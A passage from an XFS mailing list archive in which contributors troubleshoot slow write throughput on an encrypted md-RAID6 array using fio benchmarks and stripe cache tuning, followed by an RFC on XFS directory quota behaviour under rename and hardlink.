drive write cache. With your eight 2.4GHz SandyBridge cores and md-RAID6 on much newer larger 7.2K drives w/larger caches, you should have significantly greater write speed than this old single SATA drive. Currently you're showing 30MB/s slower write throughput, some 40% slower than this single drive. With aligned writes, thus no RMW, you should be getting at least 2 spindles worth of throughput, or ~200MB/s. So, run FIO again with the mods above, once with stripe_cache_size 256 and once with 2048. Something seems to be seriously dragging down your throughput. I'm sure you'd like to know what, and how to fix it. > Btw, I also have /dev/md1, this is a 15GB unencrypted array using the > same 5 disks like my LUKS-md2 array, so nearly the same just without > this LUKS layer. If helpful, I can execute some fio tests on this > filesystem, too. This is also a RAID6 array, without dm-crypt? If so this will afford a great comparison, and may be very informative. Run FIO against this filesystem (I assume it's also XFS) as well with stripe_cache_size 512 and 2048. Four FIO tests total including the two on the big array. It'll be interesting to see where this leads. At this point the candidates I see are a single dm-crypt thread peaking a core, dm-crypt taking aligned writes and misaligning them causing all writes to be RMWs, or AF drives with misaligned partitions causing every write to be an internal RMW. Or maybe something I've not considered. > > So long :) > Kevin > > > $ echo 1024 > /sys/block/md2/md/stripe_cache_size >> Jobs: 1 (f=1): [____________W___] [99.7% done] [0K/99.24M /s] [0 /193 iops] [eta 00m:06s] >> read: (groupid=0, jobs=8): err= 0: pid=12987 >> read : io=81920MB, bw=189835KB/s, iops=370 , runt=441890msec >> slat (usec): min=32 , max=4561 , avg=76.28, stdev=28.66 >> clat (msec): min=5 , max=1115 , avg=334.19, stdev=151.18 >> lat (msec): min=5 , max=1115 , avg=334.26, stdev=151.18 >> bw (KB/s) : min= 0, max=261120, per=12.79%, avg=24288.95, stdev=11586.29 >> cpu : usr=0.05%, sys=0.50%, ctx=157180, majf=0, minf=16982 >> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=163840/0/0, short=0/0/0 >> >> lat (msec): 10=0.52%, 20=0.71%, 50=3.01%, 100=6.17%, 250=14.59% >> lat (msec): 500=68.81%, 750=4.87%, 1000=1.08%, 2000=0.25% >> write: (groupid=1, jobs=8): err= 0: pid=13202 >> write: io=81920MB, bw=58504KB/s, iops=114 , runt=1433851msec >> slat (usec): min=45 , max=1729 , avg=212.20, stdev=56.68 >> clat (msec): min=14 , max=11691 , avg=1101.17, stdev=1116.82 >> lat (msec): min=14 , max=11691 , avg=1101.39, stdev=1116.82 >> bw (KB/s) : min= 0, max=106666, per=14.35%, avg=8395.94, stdev=6752.35 >> cpu : usr=0.28%, sys=0.10%, ctx=117451, majf=0, minf=3410 >> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=0/163840/0, short=0/0/0 >> >> lat (msec): 20=0.01%, 50=0.17%, 100=2.03%, 250=17.02%, 500=22.20% >> lat (msec): 750=12.22%, 1000=8.66%, 2000=20.04%, >=2000=17.64% >> >> Run status group 0 (all jobs): >> READ: io=81920MB, aggrb=189834KB/s, minb=194390KB/s, maxb=194390KB/s, mint=441890msec, maxt=441890msec >> >> Run status group 1 (all jobs): >> WRITE: io=81920MB, aggrb=58504KB/s, minb=59908KB/s, maxb=59908KB/s, mint=1433851msec, maxt=1433851msec >> >> Disk stats (read/write): >> dm-0: ios=327681/327756, merge=0/0, ticks=78591352/353235376, in_queue=431834680, util=100.00%, aggrios=327681/327922, aggrmerge=0/0, aggrticks=0/0, aggrin_queue=0, aggrutil=0.00% >> md2: ios=327681/327922, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=171660/222845, aggrmerge=4561629/9494657, aggrticks=16341417/4008187, aggrin_queue=20351472, aggrutil=85.78% >> sdc: ios=181512/222455, merge=4583055/9505634, ticks=15650600/5944080, in_queue=21596560, util=85.78% >> sdd: ios=180545/224362, merge=4526197/9587956, ticks=14356708/5542120, in_queue=19900820, util=85.42% >> sde: ios=179853/224317, merge=4519718/9540999, ticks=13375156/5676828, in_queue=19053876, util=83.90% >> sdf: ios=157605/222569, merge=4551205/9459549, ticks=18828608/1234632, in_queue=20065204, util=75.36% >> sdg: ios=158787/220525, merge=4627970/9379150, ticks=19496016/1643276, in_queue=21140904, util=77.26% > > $ echo 2048 > /sys/block/md2/md/stripe_cache_size >> Jobs: 1 (f=1): [_________W______] [99.6% done] [0K/92182K /s] [0 /175 iops] [eta 00m:06s] >> read: (groupid=0, jobs=8): err= 0: pid=6392 >> read : io=81920MB, bw=185893KB/s, iops=363 , runt=451259msec >> slat (usec): min=32 , max=524 , avg=75.08, stdev=26.00 >> clat (msec): min=8 , max=1849 , avg=335.65, stdev=149.76 >> lat (msec): min=8 , max=1849 , avg=335.72, stdev=149.76 >> bw (KB/s) : min= 0, max=105860, per=13.08%, avg=24308.99, stdev=7467.64 >> cpu : usr=0.05%, sys=0.49%, ctx=157968, majf=0, minf=17171 >> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=163840/0/0, short=0/0/0 >> >> lat (msec): 10=0.01%, 20=0.06%, 50=2.32%, 100=7.44%, 250=15.36% >> lat (msec): 500=69.09%, 750=4.50%, 1000=0.87%, 2000=0.35% >> write: (groupid=1, jobs=8): err= 0: pid=6663 >> write: io=81920MB, bw=75377KB/s, iops=147 , runt=1112887msec >> slat (usec): min=46 , max=6453.8K, avg=988.13, stdev=46664.22 >> clat (msec): min=10 , max=8631 , avg=854.18, stdev=683.37 >> lat (msec): min=10 , max=8631 , avg=855.17, stdev=684.82 >> bw (KB/s) : min= 0, max=100352, per=14.04%, avg=10581.97, stdev=6871.80 >> cpu : usr=0.34%, sys=0.11%, ctx=92502, majf=0, minf=1531 >> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=0/163840/0, short=0/0/0 >> >> lat (msec): 20=0.01%, 50=0.09%, 100=1.14%, 250=11.19%, 500=24.64% >> lat (msec): 750=18.78%, 1000=13.40%, 2000=24.53%, >=2000=6.23% >> >> Run status group 0 (all jobs): >> READ: io=81920MB, aggrb=185893KB/s, minb=190354KB/s, maxb=190354KB/s, mint=451259msec, maxt=451259msec >> >> Run status group 1 (all jobs): >> WRITE: io=81920MB, aggrb=75376KB/s, minb=77186KB/s, maxb=77186KB/s, mint=1112887msec, maxt=1112887msec >> >> Disk stats (read/write): >> dm-0: ios=327701/328169, merge=0/0, ticks=79402348/261890568, in_queue=341301888, util=100.00%, aggrios=327701/328481, aggrmerge=0/0, aggrticks=0/0, aggrin_queue=0, aggrutil=0.00% >> md2: ios=327701/328481, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=127112/146994, aggrmerge=3364061/7997232, aggrticks=18091347/5817941, aggrin_queue=23914356, aggrutil=94.20% >> sdc: ios=135729/149357, merge=3341205/8134447, ticks=18312932/8398716, in_queue=26721324, util=92.77% >> sdd: ios=135561/151584, merge=3312121/8238249, ticks=16877204/8190968, in_queue=25077332, util=92.44% >> sde: ios=135741/146023, merge=3345948/7981968, ticks=17659792/8659780, in_queue=26322124, util=94.20% >> sdf: ios=114396/143768, merge=3413295/7801050, ticks=18551976/1652924, in_queue=20207384, util=72.89% >> sdg: ios=114134/144241, merge=3407738/7830447, ticks=19054832/2187320, in_queue=21243620, util=74.96% > > $ echo 4096 > /sys/block/md2/md/stripe_cache_size >> Jobs: 1 (f=1): [________W_______] [100.0% done] [0K/95848K /s] [0 /182 iops] [eta 00m:00s] >> read: (groupid=0, jobs=8): err= 0: pid=11787 >> read : io=81920MB, bw=189274KB/s, iops=369 , runt=443200msec >> slat (usec): min=31 , max=4511 , avg=75.47, stdev=29.74 >> clat (msec): min=5 , max=1338 , avg=336.39, stdev=155.14 >> lat (msec): min=5 , max=1338 , avg=336.47, stdev=155.14 >> bw (KB/s) : min= 0, max=253455, per=12.77%, avg=24162.01, stdev=11368.71 >> cpu : usr=0.05%, sys=0.49%, ctx=157193, majf=0, minf=17313 >> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=163840/0/0, short=0/0/0 >> >> lat (msec): 10=0.47%, 20=0.66%, 50=2.95%, 100=6.33%, 250=14.56% >> lat (msec): 500=68.12%, 750=5.42%, 1000=1.15%, 2000=0.33% >> write: (groupid=1, jobs=8): err= 0: pid=12060 >> write: io=81920MB, bw=64993KB/s, iops=126 , runt=1290687msec >> slat (usec): min=61 , max=16991 , avg=197.22, stdev=110.87 >> clat (msec): min=14 , max=2820 , avg=980.92, stdev=366.56 >> lat (msec): min=14 , max=2821 , avg=981.12, stdev=366.56 >> bw (KB/s) : min= 0, max=103770, per=13.11%, avg=8517.92, stdev=3794.28 >> cpu : usr=0.28%, sys=0.08%, ctx=84352, majf=0, minf=723 >> IO depths : 1=0.1%, 2=0.1%, 4=0.1%, 8=0.1%, 16=99.9%, 32=0.0%, >=64=0.0% >> submit : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.0%, 32=0.0%, 64=0.0%, >=64=0.0% >> complete : 0=0.0%, 4=100.0%, 8=0.0%, 16=0.1%, 32=0.0%, 64=0.0%, >=64=0.0% >> issued r/w/d: total=0/163840/0, short=0/0/0 >> >> lat (msec): 20=0.01%, 50=0.03%, 100=0.28%, 250=0.22%, 500=5.37% >> lat (msec): 750=22.02%, 1000=31.66%, 2000=39.27%, >=2000=1.16% >> >> Run status group 0 (all jobs): >> READ: io=81920MB, aggrb=189273KB/s, minb=193816KB/s, maxb=193816KB/s, mint=443200msec, maxt=443200msec >> >> Run status group 1 (all jobs): >> WRITE: io=81920MB, aggrb=64993KB/s, minb=66553KB/s, maxb=66553KB/s, mint=1290687msec, maxt=1290687msec >> >> Disk stats (read/write): >> dm-0: ios=327681/327629, merge=0/0, ticks=78990724/301988444, in_queue=380991692, util=100.00%, aggrios=327681/327709, aggrmerge=0/0, aggrticks=0/0, aggrin_queue=0, aggrutil=0.00% >> md2: ios=327681/327709, merge=0/0, ticks=0/0, in_queue=0, util=0.00%, aggrios=120158/119573, aggrmerge=2858405/7663126, aggrticks=17291831/9119008, aggrin_queue=26414023, aggrutil=99.60% >> sdc: ios=135579/119976, merge=2813832/7324879, ticks=13974928/2192484, in_queue=16167996, util=66.57% >> sdd: ios=136115/127048, merge=2826584/7736191, ticks=12932248/2477796, in_queue=15410924, util=68.08% >> sde: ios=136007/130908, merge=2844473/7936354, ticks=12642232/3141268, in_queue=15784336, util=71.86% >> sdf: ios=78473/94458, merge=2882361/7865984, ticks=29053772/37421808, in_queue=66488856, util=99.60% >> sdg: ios=114620/125479, merge=2924777/7452224, ticks=17855976/361684, in_queue=18218004, util=54.84% > > > > > > Am 20.12.2013 13:36, schrieb Stan Hoeppner: >> On 12/20/2013 4:26 AM, Kevin Richter wrote: >>> Thanks a lot for your huge replies! >> >> You're welcome. >> >>>> Oh, that's quite old. I'd suggest upgrading to a much more recent >>>> kernel as we've fixed lots of issues in this area since then. >>> >>> First I have switched to the newer kernel from Ubuntu Saucy: >>> $ uname -a >>> Linux 3.11.0-14-generic #21~precise1-Ubuntu SMP >>> >>> Thus, it seems that the default scheduler has been changed to deadline. >>> I did not change anything. After a reboot the schedulers of all disks >>> are now deadline. >> >> Good move Ubuntu. >> >>>> Model # of the CPUs so I can look up the specs? >>> Intel(R) Xeon(R) CPU E5-2609 0 @ 2.40GHz >> >> Strong CPUs. >> >>> I have prepared a folder with 60GB for the tests. This is nearly twice >>> of the available memory, so the process should be forced to actually >>> write the stuff to the disk - and not only hold in the memory. >>> >>>> $ echo 256 > /sys/block/md2/md/stripe_cache_size >>>> $ time cp -a /olddisk/testfolder /6tb/foo1/ >>>> real 25m38.925s >>>> user 0m0.595s >>>> sys 1m23.182s >>>> >>>> $ echo 1024 > /sys/block/md2/md/stripe_cache_size >>>> $ time cp -a /olddisk/testfolder /raid/foo2/ >>>> real 7m32.824s >>>> user 0m0.438s >>>> sys 1m6.759s >>>> >>>> $ echo 2048 > /sys/block/md2/md/stripe_cache_size >>>> $ time cp -a /olddisk/testfolder /raid/foo3/ >>>> real 5m32.847s >>>> user 0m0.418s >>>> sys 1m5.671s >>>> >>>> $ echo 4096 > /sys/block/md2/md/stripe_cache_size >>>> $ time cp -a /olddisk/testfolder /raid/foo4/ >>>> real 5m54.554s >>>> user 0m0.437s >>>> sys 1m6.268s >>> >>> The difference is really amazing! So 2048 seems to be the best choice. >>> 60GB in 5,5minutes are 180MB/sek. That sounds a bit high, doesnt it? >>> The RAID only consist of 5 SATA disks with 7200rpm. >> >> A lot of the source data is being cached between runs so these numbers >> aren't accurate. The throughput of this copy operation will be limited >> by the speed of the single source disk, not the array. To make the >> elapsed times of this copy test accurate you need to execute something >> like these commands after each run: >> >> # sync >> # echo 3 > /proc/sys/vm/drop_caches >> >> But this copy test will not inform you about the potential peak >> performance of your array. That's why I suggested you test with FIO, >> the flexible IO tester. >> >> # aptitude install fio >> # man fio >> >> Sample job file suitable for your system: >> >> [global] >> directory=/your/XFS/test/directory >> zero_buffers >> numjobs=8 >> group_reporting >> blocksize=512k >> ioengine=libaio >> iodepth=16 >> direct=1 >> size=10g >> >> [read] >> rw=read >> stonewall >> >> [write] >> rw=write >> stonewall >> >> This should give you a relatively accurate picture of the actual >> potential throughput of your array and filesystem. >> >>> 'top' while copying with stripe size of 2048 (the source disk is ntfs): >>>> top - 10:48:24 up 1 day, 1:41, 2 users, load average: 5.66, 3.53, 2.17 >>>> Tasks: 210 total, 2 running, 208 sleeping, 0 stopped, 0 zombie >>>> Cpu(s): 0.1%us, 35.8%sy, 0.0%ni, 46.0%id, 17.9%wa, 0.0%hi, 0.2%si, 0.0%st >>>> Mem: 32913992k total, 32709208k used, 204784k free, 10770344k buffers >>>> Swap: 7812496k total, 0k used, 7812496k free, 20866844k cached >>>> >>>> PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND >>>> 19524 root 20 0 0 0 0 R 93 0.0 4:00.12 kworker/3:1 >>>> 23744 root 20 0 0 0 0 S 55 0.0 0:50.84 kworker/0:1 >>>> 23738 root 20 0 0 0 0 S 29 0.0 0:56.94 kworker/4:0 >>>> 3893 root 20 0 0 0 0 S 28 0.0 36:47.50 md2_raid6 >>>> 4551 root 20 0 22060 3328 720 D 25 0.0 20:21.61 mount.ntfs >>>> 23273 root 20 0 0 0 0 S 22 0.0 1:54.86 kworker/7:2 >>>> 23734 root 20 0 21752 1280 1040 D 21 0.0 0:49.84 cp >>>> 84 root 20 0 0 0 0 S 7 0.0 8:19.34 kswapd1 >>>> 83 root 20 0 0 0 0 S 6 0.0 11:55.81 kswapd0 >>>> 23745 root 20 0 0 0 0 S 2 0.0 0:33.60 kworker/1:2 >>>> 21598 root 20 0 0 0 0 D 1 0.0 0:11.33 kworker/u17:1 >> >> Hmm, what's kworker/3:1? That's not a crypto thread eating 93% of a >> SandyBridge core at only ~180 MB/s throughput is it? >> >>> And the best thing at all: >>> While all of these tests there are no warnings/panics in the syslog. >>> >>> With best regards, >>> Kevin >> >> Even though XFS wasn't the cause of the problem I'm glad we were able to >> help you fix it nonetheless. I'm really curious to see what kind of >> throughput you can achieve with FIO, and whether crypto is a bottleneck >> at the 250-350 MB/s your array should be capable of. It would be great >> if you would play around a bit with FIO and post some numbers. >> > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs > From stan@hardwarefreak.com Sun Dec 22 03:18:10 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 184DF7F55 for ; Sun, 22 Dec 2013 03:18:10 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A33E0AC006 for ; Sun, 22 Dec 2013 01:18:09 -0800 (PST) X-ASG-Debug-ID: 1387703888-04bdf00fe018b420001-NocioJ Received: from greer.hardwarefreak.com (mo-65-41-216-221.sta.embarqhsd.net [65.41.216.221]) by cuda.sgi.com with ESMTP id N9ZghShU8XMtA1mn for ; Sun, 22 Dec 2013 01:18:08 -0800 (PST) X-Barracuda-Envelope-From: stan@hardwarefreak.com X-Barracuda-Apparent-Source-IP: 65.41.216.221 X-Barracuda-User-Whitelist: xfs@oss.sgi.com Received: from [192.168.100.53] (gffx.hardwarefreak.com [192.168.100.53]) by greer.hardwarefreak.com (Postfix) with ESMTP id 67ECC6C184; Sun, 22 Dec 2013 03:18:08 -0600 (CST) Message-ID: <52B6AE4D.5020104@hardwarefreak.com> Date: Sun, 22 Dec 2013 03:18:05 -0600 From: Stan Hoeppner Reply-To: stan@hardwarefreak.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Dave Chinner CC: xfs@oss.sgi.com, xfs@pzystorm.de, Christoph Hellwig Subject: Re: XFS blocked task in xlog_cil_force_lsn References: <52B102FF.8040404@pzystorm.de> <52B118A9.8080905@hardwarefreak.com> <52B178AA.6040302@pzystorm.de> <52B2FE9E.50307@hardwarefreak.com> <52B41B67.9030308@pzystorm.de> <52B439D1.3020205@hardwarefreak.com> <20131221053032.GA3220@dastard> X-ASG-Orig-Subj: Re: XFS blocked task in xlog_cil_force_lsn In-Reply-To: <20131221053032.GA3220@dastard> Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: mo-65-41-216-221.sta.embarqhsd.net[65.41.216.221] X-Barracuda-Start-Time: 1387703888 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On 12/20/2013 11:30 PM, Dave Chinner wrote: > On Fri, Dec 20, 2013 at 06:36:33AM -0600, Stan Hoeppner wrote: >> On 12/20/2013 4:26 AM, Kevin Richter wrote: >>> 'top' while copying with stripe size of 2048 (the source disk is ntfs): >>>> top - 10:48:24 up 1 day, 1:41, 2 users, load average: 5.66, 3.53, 2.17 >>>> Tasks: 210 total, 2 running, 208 sleeping, 0 stopped, 0 zombie >>>> Cpu(s): 0.1%us, 35.8%sy, 0.0%ni, 46.0%id, 17.9%wa, 0.0%hi, 0.2%si, 0.0%st >>>> Mem: 32913992k total, 32709208k used, 204784k free, 10770344k buffers >>>> Swap: 7812496k total, 0k used, 7812496k free, 20866844k cached >>>> >>>> PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND >>>> 19524 root 20 0 0 0 0 R 93 0.0 4:00.12 kworker/3:1 >>>> 23744 root 20 0 0 0 0 S 55 0.0 0:50.84 kworker/0:1 >>>> 23738 root 20 0 0 0 0 S 29 0.0 0:56.94 kworker/4:0 >>>> 3893 root 20 0 0 0 0 S 28 0.0 36:47.50 md2_raid6 >>>> 4551 root 20 0 22060 3328 720 D 25 0.0 20:21.61 mount.ntfs >>>> 23273 root 20 0 0 0 0 S 22 0.0 1:54.86 kworker/7:2 >>>> 23734 root 20 0 21752 1280 1040 D 21 0.0 0:49.84 cp >>>> 84 root 20 0 0 0 0 S 7 0.0 8:19.34 kswapd1 >>>> 83 root 20 0 0 0 0 S 6 0.0 11:55.81 kswapd0 >>>> 23745 root 20 0 0 0 0 S 2 0.0 0:33.60 kworker/1:2 >>>> 21598 root 20 0 0 0 0 D 1 0.0 0:11.33 kworker/u17:1 >> >> Hmm, what's kworker/3:1? That's not a crypto thread eating 93% of a >> SandyBridge core at only ~180 MB/s throughput is it? > > Kworkers are an anonymous kernel worker threads that do work that > has been pushed to a workqueue. kworker/3:1 is the 2nd worker thread > on CPU 3 (3:0 is the first). The kworker is a thread pool that grows > and shrinks according to demand. > > As the naming suggests, kworker threads are per-CPU, and there can > be hundreds of them per CPU is there is enough workqueue work blocks > during execution of the work (e.g. on locks, waiting for IO, etc). > If there is little blocking occurring, there might on ly be a couple > of kworker threads that do all the work, and hence you see them > consuming huge amounts of CPU on behalf of other systems... > > XFS uses workqueues for lots of things, so it's not unusual to see > an IO or metadata heavy workload end up with this huge numbers of > kworker threads doing work: > > > .... > $ ps -ef |grep kworker |wc -l > 91 For the record, again, I've never used dm-crypt. I'm just trying to work through the layers to identify the source of Kevin's problems. So please don't clobber me too hard for going OT, or trying to speak (somewhat) intelligently about something I'm just learning about... So, how does one identify who is doing work inside a worker thread? In this case we're trying to figure out if dm-crypt might be eating a CPU core thus limiting its throughput. However... I just read a thread on dm-devel about dm-crypt performance dated late March 2013. It wasn't clear to me if dm-crypt yet uses unbound workqueues, if it dispatches work to multiple queues, or if it still uses the hand built dispatcher, as of kernel 3.11, which Kevin just updated to. What was clear is that as of March dm-crypt was not preserving IO ordering. If this is still the case, that would imply RMW with md parity arrays, which would tend to explain Kevin's write throughput being ~1/3rd of his read, and less than a single disk. Mikulas Patocka posted 400-620 MB/s dm-crypt throughput with a RAMdisk. It was not stated which CPU/clock he was using. Even if it were a 4GHz core, Kevin's 2.4GHz SandyBridge should be capable of far more than ~80 MB/s of encryption. So if dm-crypt is contributing to Kevin's low throughput I'd think it would be due to the IO ordering causing RMW, not due to CPU starvation. Is there an easy way for a mere mortal to peek under the hood and see if dm-crypt is causing RMW? Christoph you were involved in that thread WRT IO ordering. Can you shed more light on this, and if it may be a factor here. -- Stan From gnehzuil.liu@gmail.com Sun Dec 22 03:56:11 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 645177F57 for ; Sun, 22 Dec 2013 03:56:11 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id E13A8AC004 for ; Sun, 22 Dec 2013 01:56:10 -0800 (PST) X-ASG-Debug-ID: 1387706169-04cb6c537c8a9d20001-NocioJ Received: from mail-pd0-f171.google.com (mail-pd0-f171.google.com [209.85.192.171]) by cuda.sgi.com with ESMTP id 8MGImGCOVCRDhWyL (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 22 Dec 2013 01:56:09 -0800 (PST) X-Barracuda-Envelope-From: gnehzuil.liu@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.192.171 Received: by mail-pd0-f171.google.com with SMTP id z10so4172982pdj.30 for ; Sun, 22 Dec 2013 01:56:09 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=date:from:to:cc:subject:message-id:mail-followup-to:mime-version :content-type:content-disposition:user-agent; bh=OjRxZTolKGRXrH3x0+fQpoiNEqSb44ESIQgJpVfnrpY=; b=naL8EeUDM1/g0gyOD4EysJk/1zK6stCXRCRmcUIUy5cKyT28KFb+c5YscWTf+0e2ir ESkJjZ75DO79LVWsx/RIxoq8ecEXzWm2QqnK1NGxU3j9nBHwYcww9dH1D21g0CzRkw2I lHsxLmb5iOqcX+ygnkE8Fvnfy4ArW/sBT1MsAqBu8iZX4mXt2Ox3nAHm6BQtwORTAm1h 3Tz7hwILYPtke7RtKKhnhwJmWO6pI3R9u/83BKHoNHMvx56CWC4CDaD1ZIiz8fPPFngh 6RwG+HvkRXGkchS1dlJjEhyt38BUwdnub+gQwXzV5RToVff+V1Vms9Hu5QcNGEbx0+im /hhw== X-Barracuda-BBL-IP: nil X-Received: by 10.66.66.234 with SMTP id i10mr19154791pat.127.1387706168843; Sun, 22 Dec 2013 01:56:08 -0800 (PST) Received: from gmail.com ([182.92.247.2]) by mx.google.com with ESMTPSA id ja5sm26397944pbc.14.2013.12.22.01.56.05 for (version=TLSv1 cipher=RC4-SHA bits=128/128); Sun, 22 Dec 2013 01:56:08 -0800 (PST) Date: Sun, 22 Dec 2013 17:59:29 +0800 X-Barracuda-Apparent-Source-IP: 182.92.247.2 From: Zheng Liu To: linux-ext4@vger.kernel.org Cc: Theodore Ts'o , Andreas Dilger , Dmitry Monakhov , Dave Chinner , Ben Myers , xfs@oss.sgi.com Subject: [RFC] directory quota survey on xfs Message-ID: <20131222095929.GA11444@gmail.com> X-ASG-Orig-Subj: [RFC] directory quota survey on xfs Mail-Followup-To: linux-ext4@vger.kernel.org, Theodore Ts'o , Andreas Dilger , Dmitry Monakhov , Dave Chinner , Ben Myers , xfs@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: mail-pd0-f171.google.com[209.85.192.171] X-Barracuda-Start-Time: 1387706169 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143298 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Hi all, As discussed with ext4 folks, I will try to make ext4 file system support directory quota (a.k.a., project id in xfs). For keeping consistency with xfs's implementation, I did some tests on xfs, and I summarized the result as following. This will help us understand what we can do and what we can't do. Please correct me if I miss doing some tests or mis- understand something. I just do some tests about rename/hardlink because they are the key issue from our discussion. + unaccounted dir x accounted dir rename(mv) ========== + -> +: ok + -> x: ok I use strace(1) to lookup which syscall is used, and I found that xfs will return EXDEV when mv(1) tries to use rename(2) to move a dir from a unaccounted dir to a accounted dir. Then mv uses creat(2)/read(2)/ write(2) syscalls to move this dir. x -> +: wrong (design by feature?) If we move a dir from a accounted dir to a unaccounted dir, the quota is still accounted. It seems that xfs don't remove project id from this dir and its subdirs/files on this case. x -> x: ok Xfs returns EXDEV error when mv(1) uses rename(2) to move a dir from a accounted dir to another accounted dir (These dirs have different project ids). Then mv(1) uses creat(1)/read(1)/write(1) syscalls to move this dir. summary: rename + x + ok ok (EXDEV) x wrong ok (EXDEV) hardlink(ln) ======== + -> +: ok + -> x: error Xfs also returns EXDEV error to forbid this operation. So that means that we don't allow users to do a hardlink for a file from a unaccount dir to a accounted dir. x -> +: ok This operation can be executed and no any error is reported. After that the quota doesn't be changed. When both of two hardlinks are removed, the quota will be discharged. x -> x: error Xfs returns EXDEV error to forbid this operation. summary: hardlink + x + ok error (EXDEV) x ok error (EXDEV) As always, any comment or idea are welcome. Thanks, - Zheng From corporate@media-namibia.com Sun Dec 22 06:27:52 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: *** X-Spam-Status: No, score=3.6 required=5.0 tests=HTML_IMAGE_ONLY_12, HTML_MESSAGE,HTML_MIME_NO_HTML_TAG,MIME_HTML_ONLY autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 4A7BA7F3F for ; Sun, 22 Dec 2013 06:27:52 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3778C304053 for ; Sun, 22 Dec 2013 04:27:49 -0800 (PST) X-ASG-Debug-ID: 1387715255-04cb6c537b8ad4c0001-NocioJ Received: from www102.nur4.host-h.net (www102.nur4.host-h.net [213.133.104.102]) by cuda.sgi.com with ESMTP id UbC7Q4qGXFxKAMrA (version=TLSv1 